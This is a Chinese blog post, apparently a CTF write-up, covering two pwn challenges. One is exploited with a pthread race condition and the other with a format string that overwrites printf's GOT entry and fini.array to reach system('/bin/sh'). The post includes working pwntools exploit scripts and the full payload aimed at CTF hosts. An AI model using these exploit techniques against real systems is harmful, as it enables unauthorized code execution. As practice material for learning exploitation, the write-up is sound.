# 记录两道 PWN 题

给新生出题,出累了,随便看了两个 PWN 题,发现这两个 PWN 都值得记录一下

  • ONE

# [NISACTF 2022]shop_pwn

题目标签:

20230922180317483

pthread_create 多线程竞争

20230922180537307

执行程序如下:

20230922180732045

放入 IDA 看一下具体的函数:

20230922180849649

看一下主要的函数

20230922181202034

20230922181325444

脚本如下:

这里利用了 pthread_create 创建进程,那么如果我们指令发送得快的话,那么就可以实现第一次售卖功能执行的时候正在 unsleep,接着执行第二次售卖功能,那么就能卖出两次得到可以购买 flag 的金钱了

pwntool 的 sendline 发送指令很快

from pwn import *
context(log_level='debug',arch='amd64', os='linux')
r = remote('node5.anna.nssctf.cn',28929)
r.sendline("3") 
r.sendline("0") 

r.sendline("3")
r.sendline("0")  

r.interactive()

结果如下:

20230922181643187

  • two

# [CISCN 2019 西南] PWN1

RELRO 保护为 NO RELRO 的时候, init.array、fini.array、got.plt 均可读可写;为 PARTIAL RELRO 的时候, ini.array、fini.array 可读不可写, got.plt 可读可写;为 FULL RELRO 时, init.array、fini.array、got.plt 均可读不可写。

程序在加载的时候,会依次调用 init.array 数组中的每一个函数指针,在结束的时候,依次调用 fini.array 中的每一个函数指针

当程序出现格式化字符串漏洞,但是需要写两次才能完成攻击,这个时候可以考虑改写 fini.array 中的函数指针为 main 函数地址,可以再执行一次 main 函数。一般来说,这个数组的长度为 1 ,也就是说只能写一个地址。

20230922182614061

32 位程序修改 got 表。

执行程序参看偏移:

20230922183714065

看一下 IDA:

20230922184018564

20230922184142420

利用思路:

通过格式化字符串漏洞去修改 printf_got,修改为 system。但是程序只能执行一次,所以修改完后,程序会退出。

但是如果如下图所示

20230922184525768

我们就可以去修改 fini.array , 将其参数 1,给覆写成 main,那么程序在退出后就会再次执行 main 函数。

payload:

payload = b"%2052c%13hnhn%31692c%14hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)

通过 gdb 去看一眼 payload 进入程序的情况:

20230922185014496

当读入 pyload 时的情况

这时程序读入 payload。现在 got 表项指向的还是 printf_plt。

20230922191625014

当执行到 printf 函数时,printf_got 修改为 system fini_array 的第一个参数修改为 main

当我们程序结束时,就会再次跳转到 main 函数入口,在读入 /bin/sh,接着会在调用 printf 函数,会执行 system (/bin/sh),从而获取 shell

exp 如下:

from pwn import *
r = remote('node5.anna.nssctf.cn',28467)
# r = gdb.debug("./XNPWN1")
# 往fini.array[0]写main@text, printf@got写system@plt
payload = b"%2052c%13$hn%31692c%14$hn%356c%15$hn" + p32(0x804989c + 2) + p32(0x804989c) + p32(0x804979c)
r.recvline()

r.sendline(payload)

r.sendline("/bin/sh")
r.interactive()
更新于 阅读次数